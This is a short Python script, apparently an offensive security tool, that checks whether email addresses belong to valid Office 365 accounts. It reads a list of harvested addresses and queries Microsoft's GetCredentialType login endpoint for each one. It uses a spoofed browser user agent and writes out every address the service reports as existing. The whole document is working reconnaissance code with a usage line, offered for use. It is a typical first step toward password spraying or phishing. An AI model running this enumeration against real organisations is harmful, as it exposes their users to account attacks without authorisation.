O365 User Enumeration

o365-user-enum.py

#!/usr/bin/python3
import requests
import sys

# usage: cat ./gathered-emails.txt | ./o365-user-enum.py | tee -a ./valid-emails.txt

url = 'https://login.microsoftonline.com/common/GetCredentialType'
user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5359.178 Safari/537.36 Edg/106.0.1266.51'

with requests.session() as session:
    for line in sys.stdin:
        line = line.strip()
        response = session.post(url, json=dict(Username=line), headers={'User-Agent': user_agent})
        if response.status_code != 200:
            print(f'error: {response.text.strip()}', file=sys.stderr)
        if response.json().get('IfExistsResult') == 0:
            print(line, flush=True)